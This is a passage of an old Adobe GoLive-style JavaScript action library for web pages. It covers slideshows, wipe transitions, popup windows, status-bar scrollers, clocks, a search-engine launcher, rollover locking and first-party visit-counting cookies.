	if (SSnumimg>SSmax & SSloop==true & SSpalin==true) {SSsuite=SSnumimg-1; SSsens2=true }

	if (SSnumimg>SSmax & SSloop!=true &  SSpalin!=true) { SSsuite=SSnumimg;SSfini() }

	if (SSnumimg<1) SSsuite=1

}

SSnumimg=SSsuite

if (SSsuite<10) {

	SSaller="0"+SSsuite

	}

	else SSaller=SSsuite

SSsource=SSpstr+SSaller+SSformat

var SSimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSimg = CSFindElement(SSimgNom,0);

		else SSimg = document.images[SSimgNom];

		if (SSimg) SSimg.src = SSsource;

	}

}

function SSfini() {

}

function CSSlideShowAuto(action) 

{

SSAfini=0

SSAnumimg=0

SSAmax=action[2]

SSAimgNom=action[1]

SSAtemps=action[3]*1000

if (action[4]==true) 

		{

		SSAstop=true

		}

	else SSAstop=false

var SSAimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSAimg = CSFindElement(SSAimgNom,0);

		else SSAimg = document.images[SSAimgNom];

str=SSAimg.src

n=str.length

p=n-6

SSApstr=str.substring(0,p)

SSAnimg=str.substring(p,p+2)

SSAformat=str.substring(p+2,n)

if (SSAformat==".jpg" || SSAformat==".JPG" || SSAformat==".gif" || SSAformat==".GIF")

{}

else

{

 alert("Image extension must be .jpg or .gif (case sensitive). Images must use 2 digit naming starting with 01, 02 ... plus extension")

}

if (SSAnimg.substring(0,1)=="0") 

{

SSAnumimg=Number(SSAnimg.substring(1,2))

}

else

{SSAnumimg=Number(SSAnimg)}

SSAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

}

}

function SSAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

{

setTimeout("slideAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)",SSAtemps)

}

function slideAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)

{

if (SSAfini==1) {

SSAnumimg = SSAnumimg-2

CSSlideShowAutoPause()

}

else 

{

SSAmax=SSAmax-1

SSAsuite=SSAnumimg+1

	if (SSAnumimg>SSAmax)

		{

		SSAsuite=1

		if (SSAstop==true) SSAfini=1

		else

		SSAfini=0

		}

	if (SSAnumimg<1) SSAsuite=1

SSAnumimg=SSAsuite

if (SSAsuite<10) {

	SSAaller="0"+SSAsuite

	}

	else SSAaller=SSAsuite

SSAsource=SSApstr+SSAaller+SSAformat

var SSAimg = null;

	if (document.images) {

		if (!IsIE()&&CSBVers<5) SSAimg = CSFindElement(SSAimgNom,0);

		else SSAimg = document.images[SSAimgNom];

		if (SSAimg) SSAimg.src = SSAsource;

	}

SSAtempo(SSAmax,SSAimgNom,SSAtemps,SSAstop,SSApstr,SSAnimg,SSAformat)

}

}

function CSSlideShowAutoPause() 

{}

function CSSlideShowAutoStop(action) 

{

if (SSAfini==0) SSAfini=1

else SSAfini=0 ; SSAnumimg = SSAnumimg+2 ;  slideAuto(SSAmax,SSAimgNom,SSAstop,SSApstr,SSAnimg,SSAformat)

}

function CSStopAll(action) { CSStopComplete (); }

function CSStopScene(action) { CSStopFunction (action[1]); }

function CSStopSound (action) {if (eval('document.'+action[1])!=null) { eval ('document.' + action[1] + '.stop()');}}

function CSStartWipe (action)

{

	var el=CSCreateTransElement (action[1], action[2]);

	if (el==null) return;

	var dir=action[3];

	if (dir=="_inLeft") {el.steps=el.clipRect.width/el.maxValue; el.modus="in";}

	else if (dir=="_inRight") {el.steps=el.clipRect.width/el.maxValue; el.modus="in";}

	else if (dir=="_outLeft") {el.steps=el.clipRect.width/el.maxValue; el.modus="out";}

	else if (dir=="_outRight") {el.steps=el.clipRect.width/el.maxValue; el.modus="out";}

	else if (dir=="_inTop") {el.steps=el.clipRect.height/el.maxValue; el.modus="in";}

	else if (dir=="_inBottom") {el.steps=el.clipRect.height/el.maxValue; el.modus="in";}

	else if (dir=="_outTop") {el.steps=el.clipRect.height/el.maxValue; el.modus="out";}

	else if (dir=="_outBottom") {el.steps=el.clipRect.height/el.maxValue; el.modus="out";}

	else if (dir=="_inCenter") {el.HSteps=el.clipRect.width/el.maxValue; el.VSteps=el.clipRect.height/el.maxValue; el.modus="in";}

	else if (dir=="_outCenter") {el.HSteps=el.clipRect.width/el.maxValue; el.VSteps=el.clipRect.height/el.maxValue; el.modus="out";}

	if (el.modus=="") return;

	el.currentValue=0;

	el.glDir=action[3];

	CSStartFunction(CSDoWipe,el);

}

function CSDoWipe (info)

{

	var el = info.data;

	if (el==null) return false;

	if (el.currentValue==el.maxValue) { CSFinishWipe(el); return false; }

	var r = new CSRect(el.clipRect.left,el.clipRect.top,el.clipRect.width,el.clipRect.height);

	var dir=el.glDir;

	if (dir=="_inLeft") {r.left=r.width-el.currentValue*el.steps;}

	else if (dir=="_inTop") {r.top=r.height-el.currentValue*el.steps;}

	else if (dir=="_inRight") {r.width=el.currentValue*el.steps;}

	else if (dir=="_inBottom") {r.height=el.currentValue*el.steps;}

	else if (dir=="_outLeft") {r.width=r.width-el.currentValue*el.steps;}

	else if (dir=="_outTop") {r.height=r.height-el.currentValue*el.steps;}

	else if (dir=="_outRight") {r.left=el.currentValue*el.steps;}

	else if (dir=="_outBottom") {r.top=el.currentValue*el.steps;}

	else if (dir=="_inCenter") {r=CSCenterRectIn(el,r);}

	else if (dir=="_outCenter") {r=CSCenterRectOut(el,r);}

	CSSetLayerClip(el,r);

	el.currentValue+=1;

	return true;

}

function CSFinishWipe (el)

{

	if (el.modus=="in") CSSetLayerClip(el,el.clipRect);

	else { 

		el.clipRect=new CSRect(0,0,el.width,el.height); 

		CSSetLayerClip(el,el.clipRect); 

		CSSetStyleVis(el.layer,0);

	}

	CSDisposeTransElement(el);

}

function CSCenterRectIn(el,r)

{

	var hValue= el.currentValue*el.HSteps/2;

	var vValue= el.currentValue*el.VSteps/2;

	r.left=Math.round(r.left+r.width/2-hValue); 

	r.top=Math.round(r.top+r.height/2-vValue); 

	r.width=Math.round(hValue*2);

	r.height=Math.round(vValue*2);

	return r;

}

function CSCenterRectOut(el,r)

{

	var hValue= el.currentValue*el.HSteps/2;

	var vValue= el.currentValue*el.VSteps/2;

	r.left+=Math.round(hValue); 

	r.top+=Math.round(vValue); 

	r.width-=Math.round(hValue*2);

	r.height-=Math.round(vValue*2);

	return r;

}

// Close Popup Redirect Action 1.01 by Nate Baldwin, www.mindpalette.com, copyright 2002...

var MP_CPRcounter = 0;

function MPCloseWin2(action) {

	MP_CPRcounter++;

	if (action[1] != "#" && action[1] != "<EmptyReference!)" && action[1] != "(Empty Reference)") self.opener.location = action[1];

	self.close();

	}

function MPFocusWin2() {

	if (MP_CPRcounter == 0) window.focus();

	}

window.onload = MPFocusWin2;

// OpenPopUp 1.4.1 action by Nate Baldwin, www.mindpalette.com, copyright 2002

function MPOpenPopup(action) {

var posX = 0;

var posY = 0;

if (action[4] == true) {

	posX = Math.round((screen.availWidth/2)-(action[2]/2));

	posY = Math.round((screen.availHeight/2)-(action[3]/2));

	} else {

	posX = action[12];

	posY = action[13];

	}

if (action[16] == true) {

	posX = 0;

	posY = 0;

	action[2] = screen.availWidth;

	action[3] = screen.availHeight;

	}

for (i=5; i<12; i++) {

	action[i] == true ? action[i] = "yes" : action[i] = "no";

	}

var windowOptions = "";

windowOptions += "width=" + action[2];

windowOptions += ",height=" + action[3];

windowOptions += ",resizable=" + action[11];

windowOptions += ",scrollbars=" + action[5];

windowOptions += ",menubar=" + action[6];

windowOptions += ",toolbar=" + action[9];

windowOptions += ",directories=" + action[7];

windowOptions += ",location=" + action[10];

windowOptions += ",status=" + action[8];

windowOptions += ",left=" + posX;

windowOptions += ",top=" + posY;

window.open(action[15], action[1], windowOptions);

if (action[14] != "" && action[14] != "#" && action[14] != "(EmptyReference!)" && action[14] != "(Empty Reference!)")

	window.location = action[14];

}

//

//-->

function CSshowtimedateID(action) {

	(action[2] != "") ? (updateobject = action[2]) : (updateobject = action[1])

	showtime = action[3]

	usemilitary = action[4]

	showdate = action[5]

	dateformat = action[6]

	showday = action[7]

	leadin = action[8]

	opentag = action[9]

	closetag = action[10]

	theTimer = setTimeout("theClockDate()",10);

}

function theClockDate() {   

	now = new Date()

	theMonth = now.getMonth() + 1

	theDate = now.getDate()

	theYear = now.getFullYear()

	theDay = now.getDay()

	hours = now.getHours()

	if(navigator.appVersion.indexOf("MSIE 5.0; Macintosh") != -1) {

	if (theMonth <= 11 && theMonth >= 4) { hours = hours + 1}

	}

	ampm = ((hours >= 12) ? "PM" : "AM");

	hours = ((hours > 12 && usemilitary == false) ? hours -12 : hours);

	if (hours == 0) hours = 12;

	if (hours >= 1 && hours <=9) hours = "0" + hours;

	minutes = now.getMinutes()

	if (minutes < 10) minutes = "0" + minutes;

	time = "";

	(showtime == true) ? (time = " " + hours + ":" + minutes) : (time = "",ampm="");

	(usemilitary == true) ? (ampm="") : (ampm=ampm);

	days = new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");

	today = days[theDay];

	if (showdate == true) {

		if (dateformat == 0) todisplay = theMonth + "/" + theDate + "/" + theYear;

		if (dateformat == 1) todisplay = theDate + "/" + theMonth + "/" + theYear;

		if (dateformat == 2) todisplay = theYear + "/" + theMonth + "/" + theDate;

		if (dateformat == 3) todisplay = theYear + "/" + theDate + "/" + theMonth;

		} else {todisplay = "" }

	if (showday == true) todisplay =  today + ", " + todisplay;

	if (document.all) { document.all(updateobject).innerHTML = opentag + leadin + todisplay + time + " " + ampm + closetag; } 

	else {

		if (document.getElementById) { document.getElementById(updateobject).innerHTML = opentag + leadin + todisplay + time + " " + ampm + closetag; }

}

theTimer = setTimeout("theClockDate()",2000);

}

function CSdigitalclock(action){

img1 = CSGetImage(action[1]);

img2 = CSGetImage(action[2]);

img3 = CSGetImage(action[3]);

img4 = CSGetImage(action[4]);

usemilitary = action[5];

giflocation = action[6];

path = giflocation.substring(0, giflocation.length - 5);

extension = (giflocation.indexOf("jpg") != -1) ? (".jpg") : (".gif");

digClock();

}

function digClock() {   

now = new Date();

hours = now.getHours();

theMonth = now.getMonth();

if(navigator.appVersion.indexOf("MSIE 5.0; Macintosh") != -1) {

	if (theMonth <= 11 && theMonth >= 4) { hours = hours + 1 };

	if (hours == 24) { hours = 0 };

	}

minutes = now.getMinutes();

hours = ((hours > 12 && usemilitary == false) ? hours -12 : hours);

if (hours >= 0 && hours <=9) hours = "0" + hours;

if (usemilitary == false && hours == 00) { hours = 12 };

if (minutes >= 0 && minutes <=9) minutes = "0" + minutes;

hours = "" + hours;

minutes = "" + minutes;

hour1 = hours.substring(0,1);

hour2 = hours.substring(1,2);

minutes1 = minutes.substring(0,1);

minutes2 = minutes.substring(1,2);

updater();

}

	

function updater() {

img1.src = path + hour1 + extension;

img2.src = path + hour2 + extension;

img3.src = path + minutes1 + extension;

img4.src = path + minutes2 + extension;

theTimer = setTimeout("digClock()",1000);

}

function CSFixFct() {

	var d = document; var w = window;

	if (d.cs.csFix.w != w.innerWidth || d.cs.csFix.h != w.innerHeight) {

		d.location = d.location; }

}

function CSNSFix(action) { 

	var d = document; var w = window;

	if ((navigator.appName == 'Netscape') && (parseInt(navigator.appVersion) == 4)) {

		if (typeof d.cs == 'undefined') { 

			d.cs = new Object;

			d.cs.csFix = new Object; 

		} else if (CSIsFrame (w) == true) CSFixFct();

		d.cs.csFix.w = w.innerWidth;

		d.cs.csFix.h = w.innerHeight; 

		window.onresize = CSFixFct;

	  }

}

function CSIsFrame (window) {

	var rootWindow = window.parent;

	if (rootWindow == 'undefined') return false;

	for (i = 0; i < rootWindow.frames.length; i++)

		if (window == rootWindow.frames[i]) return true;

	return false;

}

function CSprintdocument(action){

if (navigator.appName .indexOf("Microsoft") != -1 && navigator.platform.indexOf("Mac") != -1 || navigator.appVersion.indexOf("3.0") != -1) {

alert("Please use your browser\'s print command to print this document.");

	} else {

	(action[1] != "") ? (parent.frames[action[1]].print()) : (parent.print());

	}

}

function CSResizeWindow(action) { 

	if(navigator.appVersion.charAt(0) >=4) { window.resizeTo (action[1],action[2]) }

}

function CSScrollDown(action){

	if(navigator.appVersion.charAt(0) >=4) {

		var container = 0	

		if (action[2] > 0)		{

			while (container < action[1]) {

   				window.scrollBy(0,action[2]);

   				container = container + action[2];  

			} 	

      	}

	}

}

function CSScrollLeft(action){

	if(navigator.appVersion.charAt(0) >=4) {

		var container = 0	

		if (action[2] > 0)		{

			while (container < action[1]) {

   				window.scrollBy(-action[2],0);

   				container = container + action[2];  

			} 	

      	}

	}

}

function CSScrollRight(action){

	if(navigator.appVersion.charAt(0) >=4) {

		var container = 0	

		if (action[2] > 0)		{

			while (container < action[1]) {

   				window.scrollBy(action[2],0);

   				container = container + action[2];  

			} 	

      	}

	}

}

function CSScrollstatus(action) {

phrase = action[1];

speed = action[2];	

(action[3] != true)	? delay = setTimeout("CSScrollleftidle()",20) : delay = setTimeout("CSScrollrightidle()",20)

var thestring

leftphrase = "                                                                                                 " + phrase 

charnum = leftphrase.length;

stringnum = leftphrase.length;	

size = leftphrase.length+1

}

function CSScrollrightidle() {

	stringnum--;

	(stringnum != 0) ? window.status = leftphrase.substring(charnum,stringnum) : stringnum = charnum

	delay = setTimeout("CSScrollrightidle()",speed); 

	}

	

function CSScrollleftidle() {

   thestring = leftphrase.substring(0,1);

   leftphrase += thestring

   leftphrase = leftphrase.substring(1,size);

   window.status = leftphrase.substring(0,size);

   delay = setTimeout("CSScrollleftidle()",speed);

}

function CSScrollUp(action){

	if(navigator.appVersion.charAt(0) >=4) {

		var container = 0	

		if (action[2] > 0)		{

			while (container < action[1]) {

   				window.scrollBy(0,-action[2]);

   				container = container + action[2];  

			} 	

      	}

	}

}

function CSSearchEngine(action) {

var form = action[1]

var elem = action[2]

var theEntry  

if(action[3]==true) { theEntry = action[4] } 

else { theEntry = document.forms[form].elements[elem].value }

var type=action[5];

if(type==0) engine="http://search.adobe.com/cgi-bin/query?mss=simple&pg=q&what=web&fmt=.&where=www_search_main&superq="+theEntry+"&rd=all&q="+theEntry+"&x=39&y=10" //Adobe.com

else if(type==1) engine="http://www.altavista.digital.com/cgi-bin/query?pg=q&what=web&fmt=.&q="+theEntry //Altavista   

else if(type==2) engine="http://groups.google.com/groups?q="+theEntry+"&hl=en&lr=&safe=off&btnG=Google+Search&site=groups"; //Google Deja News (Usenet)  

else if(type==3) engine="http://www.excite.com/search.gw?trace=a&search="+theEntry; //Excite

else if(type==4) engine="http://www.search.hotbot.com/hResult.html?SM=MC&MT="+theEntry+"&DV=7&RG=.com&DC=10&DE=2&OPs=MDRTP&_v=2&DU=days&SW=web&search.x=23&search.y=8"; //HotBot  

else if(type==5) engine="http://www.google.com/search?q="+theEntry+"&btnG=Google+Search" //Google

else if(type==6) engine="http://search.msn.com/results.asp?RS=CHECKED&FORM=MSNH&v=1&q="+theEntry; //MSN

else if(type==7) engine="http://www.lycos.com/cgi-bin/pursuit?query="+theEntry+"&matchmode=and&cat=lycos&x=33&y=10"; //Lycos

else if(type==8) engine="http://shopper.cnet.com/shopping/search/results/1,10214,0-1257,00.html?tag=st%2Esh%2E1257%2Esbsr&qt="+theEntry+"&cn=&ca=1257" //Shopper.com

else if(type==9) engine="http://search.excite.com/search.gw?c=web&lk=webcrawler&onload=&s="+theEntry;//Webcrawler

else if(type==10) engine="http://search.yahoo.com/bin/search?p="+theEntry //Yahoo

if (theEntry=="") { alert("Please enter a search keyword!") } 

else  { newWindow=window.open(engine, action[6],"toolbar,location,directories,status,menubar,scrollbars,resizable=1") }

}

		

function CSSetBackColor(action) { document.bgColor = action[1]; }

function CSshowtime(action) { 

message = action[1]

military = action[2]

offset = action[3] 

dst = action[4]

statuscheck = action[5]

formcheck = action[6]

form = action[7];

elem = action[8];

var dstoffset = 0

theTimer = setTimeout("theClock()",10);

} 

    

function theClock() {   

clearTimeout(theTimer);

var now = new Date();

var correct = now.toGMTString();

time_string = correct.split(' ');

hm = time_string[4];

hm_string = hm.split(':');

var hours = hm_string[0] - 0;

var suffix = " A.M."

if (dst == true) dstoffset = 1

hours = hours + offset + dst;

	if (hours < 0) hours +=24	

	if (hours > 11 && hours < 24)  suffix = " P.M."

	if (hours > 12 && military == false) hours -=12;

	

var minutes = now.getMinutes();

var timeValue12 = "" + ((hours > 12) ? hours -12 : hours)

if (timeValue12 == 0) timeValue12 = 12

var timeValue24 = "" + ((hours > 23) ? hours -24 : hours)

timeValue12 += ((minutes < 10) ? ":0" : ":") + minutes

timeValue12 += suffix

timeValue24 += ((minutes < 10) ? ":0" : ":") + minutes

	if(military == false)  {

	WorldTime = message + timeValue12;

	} else { 

	WorldTime = message + timeValue24

	}  

	if(statuscheck == true)  window.status = WorldTime

	if(formcheck == true)  document.forms[form].elements[elem].value  = WorldTime

theTimer = setTimeout("theClock()",5000);

}

// OUT utility Javascript library 1.4

// Script copyright 1999-2001 OUT Media Design GmbH. All rights reserved.

// This version needs the Adobe GoLive Netscape 6 Fix installed

function OUTFindFrame(n,win) {

	var curFrames = win ? win.frames : top.frames;

	var frame = n=='' ? window : curFrames[n];

	if (!frame) {

		for (var i=0;i<curFrames.length;i++) {

			frame = OUTFindFrame(n,curFrames[i]);

			if (frame)

				return frame;

		}

	}

	return frame;

}

function OUTFindElement(n,ly,cmp) {

	if (cmp) n=OUTfindComponentElementName(n,ly);

	if (CSIsW3CDOM) { CSInitImgID();return document.getElementById(n); } 

	var curDoc = ly ? (ly.document ? ly.document : ly) : document;

	var elem = curDoc[n];

	if (!elem && curDoc.layers) { for (var i=0;i<curDoc.layers.length;i++) {

		elem = OUTFindElement(n,curDoc.layers[i]); if (elem) return elem; }}

	return elem;

}

// functions to search for AGL component objects named like this "Cmp003B4E7300brian"

function OUTfindComponentElementName(n,ly){

	var objn = '';

	var curDoc = ly ? (ly.document ? ly.document : ly) : (document.all ? document.all : document);

	if (CSIsW3CDOM) {

		curDoc = document.getElementsByTagName("*");

		for (var i=0; i<curDoc.length; i++) {

			objn = curDoc[i].name;

			if (objn && objn.indexOf("Cmp")==0 && objn.substr(13)==n) return objn;

 		}

	}

	else {

		for (objn in curDoc) {

			if (objn && objn.indexOf("Cmp")==0 && objn.substr(13)==n) return objn;

 		}

		if (!IsIE() && curDoc.layers) { for (var i=0;i<curDoc.layers.length;i++) {

			objn = OUTfindComponentElementName(n,curDoc.layers[i]);if (objn) return objn; }

		}

	}

	return null;

}

// OUT Lock Rollover Action Script Library

// Script copyright 1999, 2000 OUT Media Design GmbH. All rights reserved.

var OUTlckIm = new Object();

function OUTdoLckBtnIm(action,cmp) {

	var n = cmp ? OUTfindComponentElementName(action[1]) : action[1];

	var g = action[2];

	var img = null;

	if (document.images) {

		g = g ? "group_"+g : "group_all";

		if (!OUTlckIm[g]){//create group if not available

			eval("OUTlckIm."+g +" = new Object()");

			OUTlckIm[g].name='';OUTlckIm[g].main='';OUTlckIm[g].over='';

		} else if (OUTlckIm[g].name!=n) {

			var lckd = OUTlckIm[g].name;

			if (CSIm[lckd]) {//restore last locked image

				img = (!IsIE()) ? CSFindElement(lckd,0) : document[lckd];

				if (img) {

					img.src = OUTlckIm[g].main;

					CSIm[lckd][0].src = OUTlckIm[g].main;

					CSIm[lckd][1].src = OUTlckIm[g].over;

				}

			}

		}

		if (CSIm[n] && OUTlckIm[g].name!=n) {//lock image

			//save new locked image

			OUTlckIm[g].main = CSIm[n][0].src;

			OUTlckIm[g].over = CSIm[n][1].src;

			OUTlckIm[g].name = n;

			//replace main & over with click image

			CSIm[n][0].src = CSIm[n][2].src;

			CSIm[n][1].src = CSIm[n][2].src;

		}

		//display image

		CSIShow(n,2);

		return true;

	}

	return false;

}

// OUT Lock Rollover in Frame Action

// Script copyright 2000, OUT Media Design GmbH. All rights reserved.

function OUTlckBtnImFrm(action) {

	var lckTarget = null;

	if (action[3]=='') lckTarget = window; else lckTarget = OUTFindFrame(action[3],0);

	if (action[4]) {//automatic

		var docDir = window.location.pathname;

		var lckBtn = '';

		if (action[1]) docDir=docDir.substring(docDir.indexOf(action[1])+action[1].length,docDir.length-1);

		docDir=docDir.substring(docDir.charAt(0)=='/'?1:0,docDir.lastIndexOf('.'));

		docDir=docDir.split('/');

		if(!action[6]) docDir.length-=1;

		if(docDir.length){

			if(action[4]==1) lckBtn=docDir[0];

			if(action[4]==2) lckBtn=docDir[docDir.length-1];

			if(action[4]==3) {for(var i=0; i<docDir.length; i++){lckBtn+=docDir[i];if(i<docDir.length-1)lckBtn+=action[5];}}

		}

		action[1]=lckBtn;

	}

	if (lckTarget && lckTarget.CSIShow && lckTarget.OUTdoLckBtnIm){

		lckTarget.OUTdoLckBtnIm(action,action[7]);

		return true;

	}

	return false;

}

// OUT Lock Rollover Action

// Script copyright 1999, OUT Media Design GmbH. All rights reserved.

function OUTlckBtnIm(action) {

	return OUTdoLckBtnIm(action,false);

}

// OUT Set Rollover Action In Frame

// Script copyright 2000, OUT Media Design GmbH. All rights reserved.

function OUTsetBtnImInFrame(action) {

	var btnFrame = action[3]=='' ? window : OUTFindFrame(action[3],0);

	if (btnFrame && btnFrame.CSIShow){

		btnFrame.CSIShow((action[4] ? OUTfindComponentElementName(action[1]) : action[1]), action[2]);

		return true;

	}

	return false;

}

// OUT Set Rollover Action In Frame

// Script copyright 2000, OUT Media Design GmbH. All rights reserved.

function OUTsetBtnIm(action) {

	if (window.CSIShow){

		window.CSIShow(action[1], action[2]);

		return true;

	}

	return false;

}

function CSActionGroup (action) {

	for(var i=1;i<action.length;i++) { CSAction(new Array(action[i])); }

}

function CSCallAction(action)

{

	CSAction(new Array(action[1]));

}

function CSCallFunction(action)

{

	var str = action[1];

	str += "(";

	str += action[2];

	str += ");"

	return eval(str);

}

function CSConditionAction(action) {

	if (action[1]) {

		if (CSAction(new Array(action[1])) == true) {

			if (action[2]) CSAction(new Array(action[2]));

		} else if (action[3]) CSAction(new Array(action[3]));

	}

}

function CSIdleObject (action) {

	this.conditionAction = action[2];

	this.trueAction = action[3];

	this.falseAction = action[4];

	this.exitIdleIfTrue = action[1];

	this.lastState = false;

}

function CSIdleAction(action) {

	idleObj = new CSIdleObject (action);

	CSStartFunction (CSDoIdle,idleObj);

}

function CSDoIdle (param) {

	idleObject=param.data;

	if (idleObject.conditionAction) {

		gCurrentIdleObject = idleObject;

		var result = CSAction(new Array(idleObject.conditionAction));

		if (result == true && idleObject.lastState==false) {

			idleObject.lastState = result;

			if (idleObject.trueAction) {

				CSAction(new Array(idleObject.trueAction));

				if (idleObject.exitIdleIfTrue == true) return false;

			}

		} else if (result == false && idleObject.lastState == true) {

			idleObject.lastState = false;

			if (idleObject.falseAction) {

				CSAction(new Array(idleObject.falseAction));

			}		

		}

	}

	return true;

}

function CSLayerIntersect (condition)

{

	var l1,t1,r1,b1,l2,t2,r2,b2;

	if (IsIE()) {

		var layer1=document.all.tags("div")[condition[1]];

		var layer2=document.all.tags("div")[condition[2]];

		l1=layer1.style.pixelLeft; t1=layer1.style.pixelTop; r1=layer1.offsetWidth+l1; b1=layer1.offsetHeight+t1;

		l2=layer2.style.pixelLeft; t2=layer2.style.pixelTop; r2=layer2.offsetWidth+l2; b2=layer2.offsetHeight+t2;	

	} else {

		var layer1=CSNSStyl(condition[1]);

		var layer2=CSNSStyl(condition[2]);

		if (CSBVers>=5)

			{

			CSIDOM();

			l1=parseInt(layer1.left); t1=parseInt(layer1.top); r1=parseInt(layer1.width)+l1; b1=parseInt(layer1.height)+t1;

			l2=parseInt(layer2.left); t2=parseInt(layer2.top); r2=parseInt(layer2.width)+l2; b2=parseInt(layer2.height)+t2;

			}

		else

			{

			l1=layer1.x; t1=layer1.y; r1=layer1.clip.width+l1; b1=layer1.clip.height+t1;

			l2=layer2.x; t2=layer2.y; r2=layer2.clip.width+l2; b2=layer2.clip.height+t2;

			}

	}

	var w = (r1 < r2 ? r1 : r2) - (l1 > l2 ? l1 : l2)

	var h = (b1 < b2 ? b1 : b2) - (t1 > t2 ? t1 : t2)

	return ((w >= 0) && (h >= 0));

}

CSCurrentPressedKey = -1;

function CSKeyPress(ev) {

	var code;

	if(IsIE()) CSCurrentPressedKey = event.keyCode;

	else CSCurrentPressedKey = ev.which;

}

document.onkeypress	= CSKeyPress;

function CSKeyCompare(condition)

{

	var eq = (condition[1] == CSCurrentPressedKey);

	if(eq)

		CSCurrentPressedKey = -1;

	return eq;

}

function CSTimeout (condition) {

	var result = false;

	if (typeof (gCurrentIdleObject) == "undefined")	return result;

	if (gCurrentIdleObject.lastTime) {

		var t=new Date();

		if (t.getTime() >= gCurrentIdleObject.lastTime) { 

			if (t.getTime() >= gCurrentIdleObject.nextTime) { 

				gCurrentIdleObject.lastTime = t.getTime() + condition[1]*1000;

				gCurrentIdleObject.nextTime = gCurrentIdleObject.lastTime + condition[1]*1000;

				return false;

			}

			return true;

		}

	} else { 

		var t=new Date();

		gCurrentIdleObject.lastTime = t.getTime() + condition[1]*1000;

		gCurrentIdleObject.nextTime = gCurrentIdleObject.lastTime + condition[1]*1000;

	}

	return result;

}

function CSDeleteCookie(action) 

{

var name=action[1]

var value=action[2]

var jours=-12000

path="/"

domain=null

var expdate = new Date ();

expdate.setTime (expdate.getTime() + (jours * 60 * 60 * 1000));

SetCookie(name,value,expdate)

}

function SetCookie (name, value) {

  var argv = SetCookie.arguments;

  var argc = SetCookie.arguments.length;

  var expires = (argc > 2) ? argv[2] : null;

  var secure = (argc > 5) ? argv[5] : false;

  document.cookie = name + "=" + escape (value) +

    ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +

    ((path == null) ? "" : ("; path=" + path)) +

    ((domain == null) ? "" : ("; domain=" + domain)) +

    ((secure == true) ? "; secure" : "");

}

function CSvisits(action) {

mycookie = action[8]

cookieExpires = new Date

cookieExpires.setMonth(cookieExpires.getMonth() + 12)

visits = eval(cookieVal(mycookie))

visits++

document.cookie = mycookie+"="+visits+";expires=" + cookieExpires.toGMTString()

                

function cookieVal(cookieName) {

	thisCookie = document.cookie.split("; ")

		for (i=0; i<thisCookie.length; i++) {

			if (cookieName == thisCookie[i].split("=")[0]) {

			return thisCookie[i].split("=")[1]

			}

	}

 return 0

}

	if(visits == 1 && action[1] == true) alert(action[2])

	else

	if(action[5] == true) alert(action[3] + " " + visits)

	if(action[6] == true) {

		if(visits == action[7])

		alert(action[4])

		}

}

		

function CSVisitorCookie(action) 

{

resultat = "visitor"

cookiename = action[1]

goUrl = action[2]

var arg = cookiename + "=";

  var alen = arg.length;

  var clen = document.cookie.length;

  var i = 0;

  while (i < clen) {

    var j = i + alen;

	   if (document.cookie.substring(i, j) == arg)

     return CSVisitorGetCookie (j);

    i = document.cookie.indexOf(" ", i) + 1;

    if (i == 0) break; 

  }

  VisitorSetCookie(cookiename)

  return null; 

}

function CSVisitorGetCookie (offset) {

  var endstr = document.cookie.indexOf (";", offset);

  if (endstr == -1) 

    endstr = document.cookie.length;

  valeur=unescape(document.cookie.substring(offset, endstr))

  if (valeur==resultat)

  VisitorGotoLink(goUrl)

  else

  VisitorSetCookie(cookiename)

}

function VisitorGotoLink(goUrl) {

location = goUrl

}

function VisitorSetCookie(cookiename) 

{

var value="visitor"

var jours=500*24

path="/"

domain=null

var expdate = new Date ();

expdate.setTime (expdate.getTime() + (jours * 60 * 60 * 1000));

SetCookie(cookiename,value,expdate)

}

function SetCookie (cookiename, value) {

  var argv = SetCookie.arguments;

  var argc = SetCookie.arguments.length;

  var expires = (argc > 2) ? argv[2] : null;

  var secure = (argc > 5) ? argv[5] : false;

  document.cookie = cookiename + "=" + escape (value) +

    ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +

    ((path == null) ? "" : ("; path=" + path)) +

    ((domain == null) ? "" : ("; domain=" + domain)) +

    ((secure == true) ? "; secure" : "");

}

// EOF
